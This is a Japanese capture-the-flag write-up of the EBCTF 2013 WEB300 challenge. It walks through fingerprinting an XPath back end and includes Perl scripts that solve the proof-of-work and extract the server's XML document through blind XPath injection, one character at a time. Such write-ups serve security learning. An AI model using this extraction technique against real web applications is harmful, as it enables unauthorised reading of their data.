Writeup: EBCTF 2013 - Challenge WEB300 “Flodder”

英文はflodderという動画の字幕らしい。
次のページへのジャンプはJavaScriptで行なっており、proofは(擬似コードで) hex(md5(pos||proof))[0..3] == "1234" になるように生成される。ただし||は文字列連結である。

とりあえずアクセスのためのスクリプトをでっち上げる。

use strict;
use warnings;
use Digest::MD5 qw(md5_hex);

sub escape {
    my $s = shift;
    $s =~ s/(\W)/'%'. unpack("H*", $1)/ge;
    return $s;
}

my $s = do {local $/; <>};
my $proof = 0;
while (substr(md5_hex($s . $proof), 0, 4) ne '1234') { $proof += 1 }
system "curl", "http://46.137.18.104/?pos=@{[escape($s)]}&proof=$proof\n";

Usage: echo -n "/etc/passwd" | perl access.pl

posに1+1と渡すと2のページが表示されるのでSQLインジェクションとevalを疑った。
挙動を観察すると次のような結果が得られた。

  • #や--によるコメントアウトが動かない
  • @1が動かない
    • phpのevalではない
  • 1 + ('1')は2扱い
  • length, len, strlenは動かない
  • ' 2 'は2扱い
  • 1<2は大量に出力される
  • (2<3)は1扱い、(2>3)は0扱い
  • (2=3)は0扱い、(2!=3)は1扱い
  • (1='1')は1, (1<>'1')はエラー
  • ""も文字列扱い
  • 0x1はエラー、09は9扱い
  • --9は9扱い
  • 1/1がエラー
  • 3*3は9扱いで掛け算
  • 9 div 3が3扱い
    • 特徴的
  • 9 mod 3が0扱い
  • (2 and 2)は1扱い
  • (0 and 0)と(0 and 1)と(0 or 0)は0、(0 or 1)が1
  • (1 and 2)も1
    • ビット演算の可能性はない
  • 1.0は1、ただし1.5は空
  • (.5*2)が1
  • (round(.5)*2)が2

divが特徴的なのでそこを元に探すとXPathらしいことが分かった。XML Path Language - Wikipedia
(concat("1","0"))が10扱いなのでXPathで間違いないと判断した。

XPathのインジェクションの参考資料: XPath インジェクションによる危険を回避する

指定したパスの文字列を取得するスクリプトを作成した。

use strict;
use warnings;
use Digest::MD5 qw(md5_hex);

my $target = 'ここにXPath';

sub escape {
    my $s = shift;
    $s =~ s/(\W)/'%'. unpack("H*", $1)/ge;
    return $s;
}
sub escape_xml {
    my $s = shift;
    $s =~ s/\&/&amp;/g;
    $s =~ s/\"/&quot;/g;
    $s =~ s/</&lt;/g;
    $s =~ s/>/&gt;/g;
    return $s;
}

sub query {
    my $s = shift;
    my $proof = 0;
    while (substr(md5_hex($s . $proof), 0, 4) ne '1234') {
        $proof += 1;
    }
    print "$s\n";
    my $r = `curl -s "http://46.137.18.104/?pos=@{[escape($s)]}&proof=$proof"`;
    if ($r =~ m{<pre>\n(.*)\n</pre>}s) {
        return $1;
    }
    else { die }
}

sub str2pos {
    my $s = shift;
    $s =~ s/\n.*//s;
    open my $fh, '<', '字幕が1行に一つ入っているファイル' or die $!;
    my $r;
    my $i = 0;
    while (my $line = <$fh>) {
        if ($line =~ /\Q$s\E/) {
            if (defined $r) {
                die;
            }
            else {
                $r = $i;
            }
        }
        $i++;
    }
    return $r;
}

#my @chars = map {chr} 0x20..0x7e;
my @chars = ('0'..'9', 'a'..'z', 'A'..'Z',
             map{chr}(0x20..0x2f,0x3a..0x40,0x5b..0x60,0x7b..0x7e));

my $name = "";

my $length = str2pos(query(sprintf('string-length(%s)', $target)));
print $length, "\n";
for my $i (1..$length) {
    my $ok = 0;
    for my $c (@chars) {
        my $q = sprintf '(substring(%s,%d,1) = "%s")', $target, $i, escape_xml($c);
        if (str2pos(query($q))) {
            $ok = 1;
            $name .= $c;
            last;
        }
    }
    if (!$ok) {
        print $name, "\n";
        print "not found\n";
        exit 1;
    }
}
print $name, "\n";

XML文書を取得していく。

  • count(/*) = 1
  • string-length(name(/*[1])) = 6
  • count(/*[1]/*) - 1 → 最後の文章
    • /*[1]/の下にあるノードが文章に対応している
  • string-length(name(/*[1]/*[1])) = 4
  • string-length(/*[1]/*[1]) = 34
    • echo -n 'It seems like a ridiculous idea!' | wc -c = 32
  • string-length(/*[1]/*[2]) = 57
    • echo -n 'We should give them a chance.|They have to go somewhere' | wc -c = 55
    • +2であっているので\n二つと推測
  • string-length(/*[1]/namespace::*[1]) = 36
  • count(/@*) = 0
  • count(/*[1]/@*) = 0
  • count(/*[1]//@*) = 0
  • count(/*[1]/*[1]/@*) = 2
  • string-length(name(/*[1]/*[1]/@*[1])) = 4
  • string-length(name(/*[1]/*[1]/@*[2])) = 2
  • string-length(/*[1]/*[1]/@*[1]) = 12
  • string-length(/*[1]/*[1]/@*[2]) = 12
  • name(/*[1]/*[1]/@*[1]) = "from"
  • name(/*[1]/*[1]/@*[2]) = "to"
  • count(/*[1]//@*) - count(/*[1]/*)*2 = 0
    • /*[1]以下に余分な属性はない
  • /*[1]/*[1]/@from = "00:00:17,544"
  • name(/*[1]/*[1]) = "line"
  • /*[1]/namespace::*[1] = "http://www.w3.org/XML/1998/namespace"
  • name(/*[1]) = "script"
  • count(/*[1]//*[string-length(@from) != 12]) = 3
  • count(/*[1]//*[string-length(@to) != 12]) = 0
  • /*[1]//*[string-length(@from) != 12][1]/@from = ""
  • count(/*[1]//*[string-length(@from) = 11]) = 3
  • /*[1]//*[string-length(@from) != 12][1]/@from = "00:8:06,400"

ここでフラグが見つけられなかったため、長時間悩んだ。
最後にコメントがないか確認したところ、

  • count(//comment()) = 1
  • //comment() = "ebCTF{a77cc448eace781101ec6966e9615c8d}"

でフラグを発見した。